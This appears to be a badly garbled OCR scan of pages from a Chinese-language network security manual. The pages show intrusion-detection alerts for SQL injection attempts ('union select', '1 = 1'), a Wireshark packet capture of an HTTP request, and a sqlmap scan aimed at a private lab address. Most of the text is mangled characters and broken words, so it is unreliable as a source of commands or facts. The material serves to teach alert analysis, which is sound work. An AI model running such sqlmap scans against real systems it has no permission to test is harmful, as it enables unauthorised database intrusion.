20T/ 2T Pl e 15980 LR R ARl E] Tr2 188100 [ .8
0M0VII 64N GEECE 194390 DIDGSFLIDD 172768100 _
J01/01/23 164415 WHEEEE 1010031 1106070000 172168100 L Last 50 mimutes
HM0N2I 154526 N 15980 1I06GTOI00  (T2IER100 oo — ‘. ;
MOV IS GEEE 19439 1IDGSTGIND 172768100 ' S ) -
OILOY2I153520 EEGE 1010031 1I0EOFLI00 172168100 "o
2018/01/21 144855 GNEEOE 1010081 1104970100 1TZ14A100 oo | FRARMRE e
2

%] 4-89

Az Bl il B AR R

AEMRRBTOPS S A x EIFERETOPS San B8 Tor EREE
-
# i =0 | kg b HHE R el = e ) L 0 MBS D OUTBOLU MOl
1 =gl I i N . Y 1 Galyi o 1457 Ebpa
i vl | F ) GelyiliE 0 o
- Gely 03 0 0
4 el yd o Q
L it ] EE. w =
Pl 4-90 7 [a] S5 44 CIE
b= ) AT EEE
EESHRNE
BitGHEGE - 2,282 K RN 3 ! ﬂ‘*; _ Eﬂ‘:hﬁﬂl&_ Qo
= = Rk T ) F|EID HICEE B4E
3 208 DV_23 17 05 11 35000 13990 poegs: Lk 13950 S0 union solect - possble sgl inpecticn atbernpt - GET parametes ¥+ R
2 2016 01_23_17_05_11_850000_18436.pcap 779 19439 SOL 1 = 1 - possible sql injsction attempt + %
1 2018 01_23 17 05 11_B50000 1010031 peap 779 1010031 0L Injection -attempt or 4 X
&l 4-91  HUukEds 119 #
FHTRVE
|
SihGMsE 2282 K WREN 3 SRS Frip) 2 Qo
7= SR TR ) SO FimEr B
3 2018 07_23 17_05_11_B50000_13980,pcap e 13890 0L wnion select - possible sgl injection atbempt - GET paramstsr . 4
2 2018 01_23 17 05 11 50000 19439.peap 77 19439 S0L 1 = 1 - possible sl injection attempt 4
1 S8 01_23 17 _05_17_850000_ 1010031 poap i 1010031 SOL bnjaction -attamgt or +*

(L5358 *]

K 4-92 T BN Y B

(1) Atz b5 & GEBGIE 2 54 ) RERR il 2

(2) ARWBE 4 3 A peap KU AL . 4ol 5% B fff 75 H 4

(&
LT

=03 B0 S




. -

Ak . 5 e
e 4 = AR M S AN R IESN e
‘ 207 S_E‘I_Eﬂ_‘l F"_EE_T'I_EIE[IDI’]EI_TD‘.C'D S'I.pcap
MR swWs=E) UENV) #8EG) BEEC) oii(A) Fwir(sS) EElY) F=w) 1LE(T) EEIH)
dun e I DRB Re>=F sEEaaan
(N ERETTES - Ctrl-/>
Ha. Time Source Destination Protocol Length Infe
1 ©.000000 110.69.70.100 172.16.8.100 HTTP 739 GET /show.aspx?pid=28&n]

> Frame 1: 739 bytes on wire (5912 bits), 739 bytes captured (5912 bits)

> Ethernet II, Src: RealtekU da:27:28 (52:54:00:da:27:28), Dst: RealteklU 95:0b:9e (52:54:00:95:8b:9e)
> Internet Protocol Version 4, Src: 110.69.70.100, Dst: 172.16.8.100

> Transmission Control Protocol, Src Port: 53478 (53478), Dst Port: 80 (80), Seq: 1, Ack: 1, Len: 673

- Hypertext Transfer Protocol

0008 52 54 00 95 0b 9e 52 54 00 da 27 28 08 00 45 00 RT....RT .."(..E

go1e 02 d5 20 c8 40 00 3f 86 af 3d 6e 45 46 64 ac 10 .. .@.7?. .=nEFd
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» ~# sqlmap -u 172.16. 8. 200/ index. php? r=default/column/content&col=background&id=2

1] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal.

liability and are not responsible for any misuse or damage caused by thlis program
*] starting at 10: 14: 35

10: 14:35] | ~I'IJIH--| using '/ root/. sqlmap/ output' as the output directory

10: 14: 38] [CHITICAL] hﬂuristics detncted that the target is protected by some kind of WAF/IPS/IDS
do you want sqlmap to try to detect backend WAF/IPS/IDS? [ y/N]

sqlmap -u 172. 16. 8. 200/ index. php? r=default/column/content
col=background
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